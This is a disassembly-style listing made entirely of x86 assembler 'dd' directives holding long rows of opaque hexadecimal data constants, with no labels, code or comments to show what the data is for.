		dd 0AC55106Ah, 20100848h, 0ADBB0001h, 814D3951h, 49330CEBh
		dd 4C0C2348h, 0EF86FC17h, 0F65E9F44h, 6632B900h, 87B72B99h
		dd 0FBE248C5h, 0CEFE4870h, 0D3611794h, 4EEA0121h, 7C17872Fh
		dd 50A4015Dh, 0C7E98F62h, 0CC5C8995h, 94DA95C5h, 0C0A5043Dh
		dd 4736C1EBh, 0C3CC6C17h, 0E1DEF6F9h, 95333169h, 1D13B01Fh
		dd 0CB942D8h, 0C960FEBDh, 46B58A6Ch, 0C6E32033h, 8B6774B5h
		dd 9855B9F0h, 0BAC1510Ch, 37139805h, 0A20A68D7h, 0F1010CDBh
		dd 1FCC87Ah, 4EE977CDh,	0E9CC508Bh, 0F4D9E316h,	6D3D406Ah
		dd 6AD2CBFEh, 0A769F1DFh, 0E9FE30DDh, 68EA9F14h, 0B450C580h
		dd 0E1012830h, 535B6658h, 0F3F8DBB3h, 7E8B9821h, 9381976Dh
		dd 7A010E8Ch, 80CD2EB3h, 3EA73BE1h, 6F37C349h, 0C35F05A0h
		dd 0FB1FED58h, 639832FFh, 16E2D13Bh, 0BF672168h, 4BC0F563h
		dd 0CEF0B0BDh, 0FBD6D09h, 3F31F558h, 1357C25h, 6107055Ah
		dd 74202237h, 200E138Eh, 0DC93AA3Bh, 73BFE826h,	16D664F7h
		dd 0A7440002h, 1291DE3h, 7E055EF0h, 6F6BE706h, 7C07C710h
		dd 0FD58310Fh, 1933543Eh, 93D6575Bh, 0A8D3B99Ch, 575A5E99h
		dd 0A2EFE86Eh, 7E46150h, 0C2605102h, 0AA94C84Fh, 805BDC01h
		dd 0F06B2CE4h, 3028F6F3h, 0B05EDCF4h, 0BEB49BE2h, 72E9DD21h
		dd 0BF35092Fh, 298F6C54h, 7F0F84F8h, 0D1290916h, 76BEE9FDh
		dd 0E01BCD6Ah, 0E0BE32B3h, 0E3961582h, 9EDED44Ch, 0DB39C5C7h
		dd 650FF6Eh, 31677F08h,	5B85E66h, 0A2646268h, 2BEB4FF0h
		dd 0F11B50F4h, 0FFEBD4B6h, 0D4663905h, 129AECBh, 0B816902Dh
		dd 0C1A2AC4Ch, 2D765CC8h, 0D054F23Ah, 29807BAEh, 92B790D6h
		dd 8E75BB42h, 0AA04E45h, 2F9E2D58h, 8297427Ah, 0E72482A4h
		dd 35B3894Bh, 0EA6FF84h, 0C256CB4Fh, 1DD37D0Ch,	0F5B7DF0Bh
		dd 9729DEB1h, 89F1CA5Ch, 7313B03Bh, 7ECE490Dh, 7160D901h
		dd 4E9A8358h, 461A05F5h, 0BA3631A0h, 495A76F7h,	6803ACDBh
		dd 7F836B86h, 3E2C1D8h,	0BEDAF724h, 6EA823Bh, 0F6196E68h
		dd 0BE0864A0h, 7EDFC12h, 0A9496886h, 1BA99882h,	0CAEFBCD5h
		dd 648D2290h, 9F2CFB51h, 684D0330h, 6AD2E971h, 10C74B03h
		dd 7F741Eh, 0D001570Ch,	0ADE95E68h, 0A427AA4Fh,	64E1DA84h
		dd 0F476A87Bh, 9CFC1B9Ch, 0FCFC2521h, 18905D7Ah, 66A46540h
		dd 1B9F6020h, 2CF65066h, 0D0AB58ABh, 0ABD099F7h, 0C952D6B7h
		dd 1796775h, 0F8E9FB29h, 0FBF67AC5h, 70C3F310h,	0C780CF00h
		dd 0FE8859F5h, 0D2539F5Bh, 2C31B502h, 0BBE05577h, 0F7827AA6h
		dd 4B4B118Eh, 0C6A7640Eh, 91AEF3E2h, 0B9E2BF85h, 926CE47Ah
		dd 3F3D0A0Eh, 1A02E44h,	676F79CAh, 2F9B2C6Ah, 505C04EDh
		dd 978DAEEh, 0EC54555Ch, 4B05ECEAh, 0C1AB9201h,	598259D4h
		dd 0E9534C08h, 812F45EBh, 55733A0h, 6E7A0D80h, 554700D0h
		dd 7BC76851h, 59123F37h, 0AEA197E9h, 0E28EE82Eh, 575C69DFh
		dd 0BEC017Eh, 3114721Fh, 5009FE2Ah, 0DA5B0BEEh,	7E2F7D7h
		dd 0FE3DC440h, 6248A982h, 9F44F7C2h, 63B0799Fh,	0B303F51Bh
		dd 6073D4CFh, 0A45C062Bh, 183E5825h, 0DE728E09h, 0A9FC8231h
		dd 47FC0922h, 593FA210h, 875FFA07h, 8322B2CAh, 0C3647D54h
		dd 797CF3EFh, 5CA9DD5Eh, 7B5C9F99h, 8F09C8D5h, 0E695CC4Fh
		dd 0AEB880EFh, 133251Fh, 3158C784h, 0AF953EBh, 9D3667Dh
		dd 54E63D39h, 18DD5B97h, 4EB526D8h, 51E8283Bh, 6AF4FDC9h
		dd 2E874FB4h, 135C31D9h, 6EC3A18Eh, 52681B98h, 34C4F11h
		dd 74A45231h, 75217FF5h, 0F76E87CAh, 0BE9169F3h, 0D15C561Dh
		dd 2D4A6809h, 18678DFCh, 0E36EA518h, 0A757D69Fh, 2D7A14F5h
		dd 38187BDAh, 2C2C5FD9h, 41008F3Dh, 0E917507Ah,	0B5F25E5Dh
		dd 0F804BCF2h, 0B0CC874Bh, 5A5CD4FEh, 1317341Ch, 0BF5D0AC3h
		dd 1612BC64h, 60CBBFDBh, 14E5E7Eh, 0C36858B8h, 9D302A3Dh
		dd 0E00F7Ch, 0F5CD8119h, 0E952C076h, 2642EA30h,	7B951ADh
		dd 56113346h, 0D569D541h, 0B36282BFh, 0BB382278h, 3A0EB14Fh
		dd 0A67EEA4Ah, 3C1D1572h, 16AB0788h, 3E2C5C5Dh,	95B9B205h
		dd 0F1517576h, 3B0E8801h, 0E9825FB6h, 0EBC9CAABh, 84B523F2h
		dd 89EFF7DDh, 872D2026h, 3180859Ch, 0BF7D121Bh,	4D6A055Ah
		dd 0FC0EE944h, 0E14A5C47h, 0A357E65Bh, 18DF2563h, 6F3B53D5h
		dd 7C82BC64h, 0E5B8014Fh, 6B3FEA3Dh, 67C402E0h,	72568DF3h
		dd 0A9D41FFBh, 0D032D053h, 8F21B67Dh, 56224842h, 8A0F7C29h
		dd 0E9410C44h, 896F9BAAh, 0E02AE03Ch, 0F00979Ah, 0BF60277Ah
		dd 2595E4B1h, 9047010Eh, 4C312424h, 302B7994h, 907B3D88h
		dd 6981819Dh, 0E02B6711h, 161630B5h, 62E571D4h,	635D0802h
		dd 0A4EE9547h, 922A68F0h, 51142A63h, 3EF5595Ah,	68E70408h
		dd 250BF221h, 2B27ACFFh, 5AE1F455h, 4B65A4BDh, 7F3584Eh
		dd 0FA5E1F95h, 0C831F621h, 0E9087A28h, 6805EC85h, 53D828CBh
		dd 550640F3h, 441E2BFCh, 29F96EE5h, 1508136Dh, 0A291398h
		dd 96FB72B4h, 0FB0BAA86h, 5AE52552h, 0EEA80912h, 0B1BDDCA4h
		dd 0CC302213h, 88538203h, 42DD92E3h, 1C495C2Eh,	0D60F40BAh
		dd 0CCE28149h, 66E73716h, 2ADAE01h, 9F404B7Fh, 2091D4C4h
		dd 6AE729FDh, 406B7C99h, 0B7F3F86Ah, 56B0316Ch,	0CC742D01h
		dd 0C121F9D6h, 0A85A1067h, 0D45027CBh, 0CE11F20Ch, 9A5DD668h
		dd 0AFE5D71Eh, 0DCB85080h, 9F751220h, 611875F8h, 0B5D6438Dh
		dd 5E562522h, 711C4D7Ch
		dd 642DA060h, 4BD60B66h, 0C974CA01h, 38EE6E04h,	4B8BE2A0h
		dd 5F36318Ch, 0BD173BB2h, 126214AEh, 0B8D7FF5Dh, 56317ECAh
		dd 0EDE71D16h, 5009DC8Bh, 0BEE05D04h, 5AF01620h, 2505989Fh
		dd 0D4F97EBAh, 3E2D3288h, 0A16F2800h, 0D7F28127h, 3E057B13h
		dd 2DD9E208h, 830C0474h, 0E2C66FA5h, 265F254Bh,	899885Dh
		dd 108C4E3Dh, 0E63838E9h, 867DFB4Eh, 74D0040h, 50096072h
		dd 67DE0B5Dh, 0A3DE6ECh, 0F73D1745h, 0FB21DF0h,	89C552EAh
		dd 26825E2Bh, 3C6C16B9h, 71FD0BCh, 1C3C7BE5h, 50672502h
		dd 0CCE95C02h, 8B2DDC93h, 0FD30305Bh, 3C589668h, 0DB6BDBD6h
		dd 4E39DE8h, 0B44AECD6h, 0F0BAE894h, 989A2328h,	70BE0D00h
		dd 623507DCh, 3CDB04EDh, 0D9495D68h, 0E4F80233h, 32659E57h
		dd 0E011C645h, 2D583BCCh, 4CEB1DE7h, 705F00Ah, 0F506C225h
		dd 4577FECAh, 2277AF3Dh, 4B11598h, 0EC121B20h, 749DFB56h
		dd 83ECE02Bh, 89C4E19h,	5FC22D62h, 0A0FC3316h, 0F00A3568h
		dd 3218F502h, 521EE082h, 8FB68094h, 766295EEh, 44CDFE0Eh
		dd 0FD1B205Dh, 0FCB5CF90h, 0C0D7E291h, 60C9030Bh, 5FAB7CFEh
		dd 45F2D322h, 0A487AE95h, 4B1A4DB3h, 0AE57AF4Ch, 55688FE1h
		dd 45BBB67Fh, 0CD48F005h, 0AA55850Bh, 94BF321h,	0FB8E7D86h
		dd 99D5D349h, 0DD325DB1h, 0A50B482Fh, 0CB9DF9h,	0EE7EDF4Bh
		dd 0F0D49D1Dh, 46BC4465h, 8DF8805Eh, 0A170B151h, 10D659EEh
		dd 0E2CD42Ch, 62B7E92Eh, 0C467AE12h, 75E08FB2h,	13BD4A59h
		dd 21FBD818h, 0C24B8419h, 68F0D97Dh, 56302E2h, 0BFC2109Dh
		dd 20083788h, 0BF32F9Dh, 0E4C7B813h, 0DF290FA6h, 778FCBCBh
		dd 74A299B0h, 67E398B7h, 0E811CBECh, 0EF583D56h, 251F1265h
		dd 50D4A070h, 0F4910675h, 7BB55107h, 12E530B3h,	945729D0h
		dd 14B4DA9Bh, 7CBE5357h, 1217097Eh, 0A6E926E9h,	0A438BF4Bh
		dd 14B65Ch, 0E7C017B7h,	0FBE68005h, 0E164F7E6h,	0C2A971EAh
		dd 0BF376D05h, 7E078079h, 454B9008h, 0E80F2B8h,	31AB5AA8h
		dd 4F5CD774h, 0BDF5375Ah, 0DD4AE59Eh, 0DC0A7FD2h, 835025CEh
		dd 96EA0127h, 4B6817E4h, 431A36Bh, 19E54E48h, 212F2A80h
		dd 20417526h, 0F728761Ch, 5E3AE2D8h, 295C89BCh,	273C45F0h
		dd 0A4B444D0h, 0DD59CDC2h, 6F12B747h, 0BD5AF8E0h, 0B7827C62h
		dd 0AED64C03h, 0B8E97240h, 293B1B6h, 42A662ACh,	6EC4A6C0h
		dd 5A79EF4Ch, 0FDC513EAh, 9883E714h, 0D3CD0047h, 5B5D5355h
		dd 0FF51ED83h, 3A3941C0h, 60D2FD28h, 140C4671h,	6E4A2AE2h
		dd 8B3F17E4h, 8018EA26h, 27BDF28Ch, 6E502801h, 0A1A656B5h
		dd 0C389CBB7h, 0A8A8B5D3h, 2A253EE5h, 0D448C2F9h, 725E3C38h
		dd 60221420h, 226801AEh, 78FF334Fh, 93638A24h, 227E2AC2h
		dd 23D95B03h, 702BE962h, 5A5D7676h, 0AF601343h,	52658401h
		dd 0EAD83FB2h, 1D12C03Eh, 99E9D128h, 99DFAB2h, 4BBAD9DFh
		dd 4C8E0057h, 0B531376Ch, 0AB75EFA9h, 0CEA8043h, 9474015Fh
		dd 7E0F61EFh, 0CC4A307Fh, 0B8286154h, 44425000h, 380E0D51h
		dd 642760C8h, 48F526FFh, 0E14CE917h, 73955341h,	0DB407581h
		dd 29C17FFCh, 1DC4255h,	6F33E0F2h, 94146B7Eh, 295E7FBAh
		dd 255082E6h, 721D13B8h, 0FC7612EFh, 43FCA5ECh,	0A918B0B5h
		dd 24AEE35Eh, 0B025AB6Ah, 0B3244BFEh, 2D2414FDh, 22C52CBAh
		dd 52EB74ADh, 303B7A79h, 66F3F553h, 0E00D6042h,	512B7586h
		dd 12FB80A0h, 58643424h, 0AD06C103h, 1782205h, 33324267h
		dd 0E9610400h, 0B76EE3F8h, 2F02234Bh, 0C05D10B8h, 0BB75682h
		dd 9BFDCEE5h, 762DC995h, 501EE536h, 0F3F9C954h,	0C1163D73h
		dd 0ACF26246h, 9E1F00Ah, 50D1F704h, 76009AD5h, 9A266217h
		dd 2418D20Ch, 16E5EEDFh, 5B9E85Bh, 22AB700Bh, 264980BEh
		dd 2FBD7BF8h, 0AF9B20F2h, 2AE9B349h, 1B54451h, 0C58072B5h
		dd 97D5F63Eh, 2309400Ah, 4F3FF6ADh, 0A9D69704h,	899A27D9h
		dd 5000092Fh, 5A7C9E83h, 0ECF7EC6Ah, 48BF09AAh,	56005B1Ch
		dd 0B43A1FCFh, 0D9E93209h, 9EA1512Eh, 80C7932Ch, 7B93686Dh
		dd 16CABCA8h, 92BEDAB1h, 0FFE61235h, 0D9944170h, 60A32F5Fh
		dd 0C3D1ACD6h, 159877E9h, 4371C069h, 6783878h, 0B16EFC5Bh
		dd 358B7F61h, 283069CFh, 0D90D48A0h, 2591E947h,	0EF22842Ah
		dd 4E7F0CF3h, 0AAF48474h, 0CD25D9A3h, 295E6980h, 83A15BDFh
		dd 0E455020Ah, 751120F0h, 6EF85951h, 587F0522h,	0F1B80E8Fh
		dd 310B6E15h, 7756D010h, 0E9E4DE0Ch, 7289275Ah,	20573CDAh
		dd 839AFDCBh, 0F5BBEE5h, 6F88C50Ah, 0E5E872E6h,	0E01A60FDh
		dd 325C0410h, 0F903257Fh, 745AB2E6h, 9D1714B8h,	0AFF7B4E2h
		dd 50DA762Fh, 0D6372797h, 0FEDE32DFh, 0C8700C2Bh, 630BED33h
		dd 5017443Dh, 976397Eh,	0BD1FE997h, 91D72449h, 4CEDB00Ch
		dd 0DF68BFBDh, 0F2836C29h, 56A6A0DFh, 13746855h, 967B842h
		dd 0D72FCCF8h, 46571765h, 0AB97C9Fh, 6229B802h,	75487B41h
		dd 401755E8h, 0D713BE2Fh, 0AD0F180Bh, 7FABB197h, 979FEBB2h
		dd 0F34CD036h, 0F8956042h, 3D32C9Ch, 45292F48h,	0D75AAB57h
		dd 33A6836Dh, 70B3E958h, 0E76EE1D5h, 2EF87D02h,	5EF201E1h
		dd 1740CB2Fh, 0A3EC649Eh, 0A723E2E7h, 7BC082A0h, 0FCC24B8Ch
		dd 7F0FB0F2h, 977938Bh,	0AFD674h, 6F6C399Fh, 7C16412Dh
		dd 41BF7A9Dh, 4462D79Dh, 52E44023h, 6425A719h, 0E9A35745h
		dd 0C7EDB3F5h, 644529D2h, 5E980581h, 4078C867h,	60C0E90Ch
		dd 4725091Ah, 3197651Ch, 2BDDFFCh, 0EEB640ADh, 0AD7C408h
		dd 0C44EFC2Fh, 5D02F043h, 3BE1EA31h, 8FC3ABAh, 9309DE81h
		dd 3FF4052h, 5B90D8F7h,	4EBDD54Eh, 0FF081912h, 0A63ADB29h
		dd 6971174Fh, 4214C8Ah,	0D0305232h, 0EC014F81h,	0BB53B008h
		dd 0E72B1F57h, 71EB017Bh, 3125A8B5h, 47007FC8h,	0EBE0652h
		dd 3349043h, 95A5EF8h, 41D5F6E9h, 4C1E7BA3h, 6B04E966h
		dd 27D9D314h, 0B4BD8042h, 25298439h, 89DF5AD3h,	1665555Bh
		dd 0E50BBBA6h, 8BB9D7DFh, 48A77E54h, 36F916C4h,	20D98C2Eh
		dd 0BF7F8148h, 79EA3D05h, 0E513D7F7h, 0E9E58E1h, 8A92BC87h
		dd 3619D054h, 1958F418h, 6E3702F5h, 63E93921h, 4C7510E7h
		dd 48B40A9h, 0F633D095h, 0CE069D39h, 84F2C35Ch,	3139215Bh
		dd 27422EF9h, 0C55A2625h, 6D3268E8h, 0D8931F58h, 3DDBE1Fh
		dd 7C47C13h, 5E489E1h, 3586E5BFh, 0AA046EA7h, 5E009A4Bh
		dd 9706FC05h, 28B12B5Ah, 17F9E024h, 0F41E027Bh,	0D0F09019h
		dd 0A5B524C9h, 91D95691h, 18CAAC2Ah, 0F843D5EBh, 5F5C042Bh
		dd 0D2352305h, 2D66F88h, 0CDFA310Ch, 8682B55Fh,	5E116856h
		dd 0B84EC678h, 3A80F419h, 2D1AC8EBh, 885D572Ah,	0A62108B2h
		dd 7AA35C69h, 0A473E7FFh, 897C879h, 0BF0E4035h,	5F3FC561h
		dd 0E7A4E0FBh, 0F002C809h, 21AE66Fh, 0EBFA1068h, 38DC5A9Fh
		dd 0BB8FE904h, 137DA7AAh, 99AABF3Ah, 4BC16B96h,	4124F23Fh
		dd 7C590DAh, 3B442B32h,	0E5A2E34Bh, 4ABE2A06h, 3C0A12Eh
		dd 50E3AEEEh, 9D7389B4h, 0FA65A009h, 2DCBC14Dh,	1F0C8EFFh
		dd 0D332B503h, 5C6B929h, 0B884FF8h, 6D45A51Dh, 94FB0207h
		dd 0E9080258h, 0F7B012Fh, 98A57C1Dh, 0B95DC884h, 4B906B58h
		dd 438270D4h, 0CB77C1C1h, 0E5ED9E8Eh, 0BFD94225h, 10395791h
		dd 0BBB4CB28h, 132E8CD9h, 888AFF82h, 3D045C52h,	0EB0CBE4Dh
		dd 0C059D9Dh, 3B7E7081h, 4CF0EF05h, 0BCFA5F5Ah,	0BB87E5CAh
		dd 0BA33ABh, 28F72C1Ch
		dd 81B652D0h, 0BCCE8009h, 0C7FF8EC0h, 0CC9EA7E6h, 0BD061207h
		dd 7F46F07h, 45967CEh, 4E598BF0h, 463BB4A1h, 0D546B0EAh
		dd 28A0EE01h, 5759732Fh, 0E951F441h, 2674D3CDh,	0D4584109h
		dd 8DA64D8Bh, 0D11EE910h, 0F1885B0Fh, 5560B114h, 136DDDC6h
		dd 64FE086Dh, 0F25A0802h, 3BA4B14h, 80C5FE9Dh, 0EAFA1E93h
		dd 20281655h, 584F9B53h, 0D72970C2h, 3768C121h,	1D278A0Ch
		dd 5E2569EFh, 28F442D0h, 4CBE5602h, 5CED0248h, 0F3016C05h
		dd 5E170808h, 4CD4AB01h, 0CE434D27h, 0E1F5487Dh, 35955F30h
		dd 505E1878h, 4D208780h, 6E22F1B8h, 15580840h, 935EE952h
		dd 4C050577h, 0FE101591h, 0F5879284h, 49D5B10h,	0C202ECC1h
		dd 3E7FA112h, 915A6FC0h, 3B2F7E82h, 1BA50C00h, 0D362E1BDh
		dd 0CD297717h, 422E60A6h, 0D70580BEh, 684AA841h, 91717E2Ah
		dd 0D74CF2Ch, 76E85D7Ah, 5D8AAA7Bh, 0EB0B9666h,	7CEC44B8h
		dd 5B20218h, 1F55003h, 4CE1E92Ch, 0E0181C34h, 0E8675A1Dh
		dd 0EFC81053h, 0C2D6404Bh, 7D8527F4h, 7641F898h, 0D007CA2Fh
		dd 218071BBh, 0BEE8EEF9h, 60BD0230h, 20C06F5Bh,	0BF80C68Dh
		dd 7624127Dh, 4DDC024Bh, 845DB359h, 1618C9D7h, 613D1BAAh
		dd 85C19817h, 7826F5EFh, 0BE304B57h, 96F2E200h,	7F347C23h
		dd 0A78995E9h, 0A7CBEDF7h, 6560D271h, 162E96Eh,	42BBBF57h
		dd 89293649h, 548109C6h, 0E75DF252h, 0A5490834h, 92BD027h
		dd 4AC4707Ah, 146A77Ch,	0C132B083h, 0FB4D3C10h,	0C5F16AC1h
		dd 0FFE93708h, 7D814A34h, 0E00A12F6h, 189F0028h, 29C8255Eh
		dd 867FC09Fh, 3CED97BDh, 631AF52Fh, 0D72C9A57h,	6DDF028Bh
		dd 0C839AFAh, 4D56A257h, 80715DC1h, 0D19973Ch, 0D2E1A3C9h
		dd 2D0F9268h, 194214E6h, 9040D029h, 26253E3Bh, 0CB5FC03h
		dd 464AE48Ch, 2807D2DCh, 5BC26848h, 0E32AF2D6h,	0EC0CF8C0h
		dd 1C3C03C1h, 0F90135D4h, 88BE9F2h, 0BFC0FD7Ch,	4EC97BECh
		dd 0BE9C857Eh, 3B0AA710h, 2C0C3C59h, 0D80AD15Ah, 3C280705h
		dd 7363081Fh, 42350E7h,	187F42CBh, 4EB08035h, 6AEDEE54h
		dd 80BB7316h, 0CF0C1298h, 0E94CC962h, 71B56FEh,	82A7CA80h
		dd 0BAA6B533h, 0BF0BB2D9h, 7D0D866Ah, 0DA004FE5h, 0E967E668h
		dd 9B5BA15h, 6DBDF105h,	11EC6B82h, 975B4BE4h, 43E2AB12h
		dd 94271CC4h, 2F45EDBDh, 0A7715E29h, 81CC546Bh,	0EC9FFEh
		dd 7F0EC3BAh, 1A9908Ch,	14D74FE7h, 59F537E9h, 0A52B61EBh
		dd 9165110h, 5350A3D5h,	681359A6h, 35EB4CEDh, 859EB9BDh
		dd 70E4E6E9h, 0B45897DAh, 0B057AB0Fh, 0C3E7C579h, 94888495h
		dd 30AA4019h, 882E47BFh, 0BF0064F8h, 8D13DB8h, 38FE07BEh
		dd 51315113h, 64E657E9h, 7F707294h, 0E1CCD4BDh,	50862EE9h
		dd 0D552D8BAh, 876910B8h, 27FA522Fh, 25E51E96h,	1216894Ah
		dd 5BD7CAFBh, 399C6081h, 0AC6A7592h, 4E344A2Eh,	512C5AF3h
		dd 973C1C9Eh, 37A822h, 319550D0h, 832D90E9h, 0AE1FEBE4h
		dd 0E40ACECFh, 0BF5708h, 76FF15EBh, 0E74B80E9h,	0B3A3ED1h
		dd 0F1E27D96h, 0C3297AEEh, 0DD6EA07Bh, 75CC655Ah, 0C02140CAh
		dd 6807EA05h, 24A80AA6h, 75E928C3h, 0F2885F2Eh,	0FF10412Dh
		dd 176FBFC3h, 0E91B2001h, 312E39E5h, 2AD07777h,	0EA167B41h
		dd 126A4673h, 131BFB15h, 272E4BB1h, 2D58DA95h, 6F41FFF4h
		dd 0AC6EDB41h, 34493282h, 97905DCAh, 68055356h,	25554B41h
		dd 7343F00Eh, 0D1DF73B8h, 0E9C04406h, 0E4E205Bh, 0E34CE5EFh
		dd 8B5B36EFh, 0A5423831h, 5000CC7Dh, 470A96B8h,	9E4016E1h
		dd 0F690A312h, 6145AB1h, 0ACEBBE68h, 99EEAE85h,	0F01418B5h
		dd 0C581802Ah, 0E2694E0h, 1D094F43h, 0F4827719h, 0B35DC25Dh
		dd 0ECC25A72h, 12B9A74Ah, 0D7F66159h, 24215530h, 4BF59CAh
		dd 0F87A9868h, 5827C01Ah, 0FF311DD3h, 0BC8B9143h, 0B1C38001h
		dd 0F16BB30h, 0B72888EBh, 32F391AFh, 0D6F700EDh, 81E650D1h
		dd 565F1F46h, 13DBCD0Eh, 0C4F22F46h, 4866650h, 12A643Fh
		dd 8DBC0D9h, 185EFC16h,	1D40CAB0h, 817EA417h, 1C0213F7h
		dd 0B50C9F67h, 8011F10Fh, 0D747C1E7h, 0C530C04Eh, 29EA1F3Eh
		dd 6715519Fh, 5B59C101h, 0BCC23058h, 78798B7h, 9CD9B7BEh
		dd 5DAD642h, 78CA4489h,	805C0147h, 587801EDh, 0AF8EF512h
		dd 0D816301Ch, 0A3AE60ABh, 0CD6027E9h, 0EDB6F2F1h, 0A1A44E8Dh
		dd 8A84F8F8h, 5313F3A4h, 8FA83B73h, 9A410707h, 76E5C00Eh
		dd 502D0869h, 30AC7F52h, 0CE13F5EEh, 0B7A188A9h, 6ED8F53Ah
		dd 0FE96E582h, 5983A5Dh, 64BD0AA1h, 3F910206h, 7724EE01h
		dd 0C8AE9D69h, 0F9EA7EE4h, 56CB1E5Dh, 7241DEDFh, 595B5E38h
		dd 0A93442Eh, 0D0680469h, 2DFF2C94h, 96AD3FBBh,	0C6620A8Bh
		dd 0DC7C127Fh, 0E4BAC3Dh, 2F0F6121h, 311E6C4Dh,	0E31F9E55h
		dd 0DA4827CAh, 0A2CF6E0Ch, 5F2370B6h, 50F0A0F3h, 474BCDFAh
		dd 45747831h, 6882436Ch, 55A1179Eh, 0CD7920BDh,	8B83753Fh
		dd 5B3C2A5Ch, 128FA615h, 9B39FB59h, 1DBDD489h, 0D42F2359h
		dd 20DA0BB3h, 5C1AE259h, 0ADD0293h, 5FEA2209h, 2DF6807Dh
		dd 58F11465h, 528D304h,	13029207h, 0F63B9368h, 8BAA9247h
		dd 53941717h, 0E9B040BDh, 22B5D179h, 66BA38EFh,	2CB207A1h
		dd 0D30BB050h, 0EE8452B7h, 9DC7A4D8h, 9D802350h, 0C34BE9DFh
		dd 7E84E4A8h, 6D00FFB8h, 6F2066AAh, 19E85C31h, 7413A125h
		dd 5A8706BDh, 0D20B4E51h, 54C5E536h, 6784250Ch,	3066EE1Bh
		dd 41A0399h, 2CD0286Dh,	9391C9A7h, 5F9E6C4Dh, 680B048Eh
		dd 30D4112Ch, 0CD26055Bh, 0FE56AE5Fh, 8147E94h,	8AAFD761h
		dd 815C003Eh, 9F4BE0CBh, 53A9983Bh, 5F58A18Eh, 0CF639930h
		dd 42307EC2h, 76D56E63h, 1A2179Ah, 58104FAh, 372D00EBh
		dd 972F5795h, 0F9A4E30Fh, 6029090Fh, 8AE106F6h,	0FBA1EC57h
		dd 0F8484E5h, 0FA5B66F8h, 0A3C4CFA2h, 95B91230h, 6101FD1Ah
		dd 0CA2DE540h, 6F001A75h, 1873B405h, 6521E934h,	0FBC575B8h
		dd 0BE56F640h, 5C2C1480h, 60052F7Fh, 0C06AB003h, 4427D13Bh
		dd 2E4B4B58h, 928BB4A7h, 85D2B04Ah, 591AC9D9h, 0D5EEE2F5h
		dd 5177704Ah, 55E9C144h, 4A32A56h, 0EEED35DCh, 0F9E953B4h
		dd 0FBD2132Eh, 0A06FF579h, 96B7D254h, 0DB5C20A3h, 2C88B807h
		dd 0C1A3788Ch, 0C245024Eh, 65EB1EACh, 5D16C6C0h, 0CC09DE30h
		dd 59051308h, 0AD4E9B54h, 1D83B38h, 2DDD3548h, 3BD446AAh
		dd 41631340h, 7F21EE01h, 4064ADE9h, 6EAB0B68h, 19882C17h
		dd 0EE2996EFh, 79EA2002h, 0EBBE8031h, 4B112D5Fh, 0F87B355Ah
		dd 2F18509Dh, 332918B5h, 0C7568245h, 524C031Eh,	0EC6D188h
		dd 1AEEFB31h, 6D81B096h, 90DAF041h, 0B9F345AAh,	0B1AA1700h
		dd 0A022ECFFh, 0CCED3BE1h, 0D82E4985h, 114F51ECh, 17C66EA9h
		dd 0F1B70A89h, 1605EBAAh, 5006A4BDh, 0D0F0475Eh, 650692B4h
		dd 0C05838FFh, 3527EDA5h, 0D2F70E18h, 905507DEh, 2A034171h
		dd 0B8C1D7E2h, 305465DFh, 0D25ADA72h, 0C0C937ACh, 40F1DD62h
		dd 44619662h, 8E43C02h,	0F9CA712Fh, 0F5FC080Bh,	88B56E58h
		dd 6C2CC1E8h, 7AA7D5CFh, 7BDE2CDFh, 4F3D1CF9h, 0F8F60A84h
		dd 2084190h, 625099CAh,	29309190h, 0A7C58952h, 95789764h
		dd 844D568h, 0ABAEE906h, 0B1E60727h, 0B4629B7Ch, 0EBC6D468h
		dd 22352CEh, 0CBACEDACh, 4C0DD900h, 0A231E968h,	0A264DD3Fh
		dd 90600BEh, 975A3D59h,	0C05263D6h, 72AFD5h, 0B9517107h
		dd 626F18F1h, 59CF091Eh
		dd 90EA5656h, 750BAC2h,	68BF12F0h, 1038CA1Eh, 2C35FE24h
		dd 643DA5C6h, 0E3FE5AF6h, 902F2EB5h, 0C048B98Eh, 4BE3752h
		dd 6AAC274Dh, 0BA0379D4h, 188DC949h, 72A08062h,	283C81B4h
		dd 599898FCh, 25712E41h, 0FD19BBh, 3020C9ACh, 0D1753C54h
		dd 490416E2h, 61B09C80h, 41606BF4h, 5A46C910h, 0A80B4BEEh
		dd 0FD0196F7h, 63917445h, 0BFD3F02Ah, 28E06016h, 4011F3B0h
		dd 0DF0CB633h, 605EEC0h, 0C6800206h, 0B9C7E9DBh, 0F7D9205Dh
		dd 59E5BAB2h, 0B77D0F89h, 167F4E42h, 615CB1F0h,	82E31CE9h
		dd 2827B710h, 0EA24C0EFh, 26D995B9h, 372659CBh,	63BE405Eh
		dd 0D52DE932h, 2FA6DA6Fh, 0BB64E482h, 0D36132FCh, 25B1EEAFh
		dd 0F6D854EDh, 0BE111280h, 76550102h, 7A6E6A21h, 8050794h
		dd 38EA348Bh, 96608480h, 0D4C1C6D5h, 9629489Eh,	68505E30h
		dd 4B39FD04h, 806C101h,	44C00A0Ch, 9972BA3h, 60767A9Eh
		dd 0FE90F552h, 90B5E879h, 0D79B67ABh, 6513BACAh, 4F5F34A0h
		dd 92FE6A9h, 57D476h, 1C252B53h, 0DAF7242Ah, 0A003135Eh
		dd 4E13E2F5h, 53032D23h, 0B0E1B850h, 405366Eh, 1CBD6C3h
		dd 0E093AE29h, 0DE3291BBh, 0E5AE02Eh, 13BA3140h, 69A01F6h
		dd 8395466Fh, 842DC595h, 0D0C073E9h, 0F36A9839h, 1627417Ah
		dd 6B36D179h, 0FC693EFCh, 685580FBh, 4A560257h,	3FFD5D5Eh
		dd 4D3C6906h, 0D2040C2Ch, 0E9B12154h, 526156FFh, 0E5881426h
		dd 30623513h, 91685AACh, 12AADB95h, 5E794B51h, 0B7F861D4h
		dd 3AB0BFCFh, 11ABEE73h, 1230BBCDh, 6125E953h, 0A4C54F3Ah
		dd 15416134h, 0A28A0172h, 2F40687Eh, 8403AFCh, 0DE892DE9h
		dd 0ECC7395Dh, 16675DDAh, 0E9C82181h, 0DD6E6CAAh, 323EEC58h
		dd 0BF556082h, 95577E10h, 5A5B2F52h, 248189D9h,	22310FA6h
		dd 0FEDE7F4Ah, 2D45AE4Bh, 7600A6C9h, 717B6364h,	0D5F7264Dh
		dd 175803B3h, 0D1C30A5Fh, 654C6076h, 46CD4E8Dh,	2E7F8000h
		dd 0A8474B59h, 4634912h, 632136F1h, 0C00875C2h,	48626603h
		dd 0C702CC4Ah, 0F1CEB017h, 316040FFh, 0D5948CDh, 0AD1F0E00h
		dd 2456E91Dh, 471930A0h, 0F767A825h, 26082D08h,	0BC6B086Eh
		dd 3DDA6804h, 2F5B5298h, 79E2942Fh, 0C0F21F58h,	738CEA4Ch
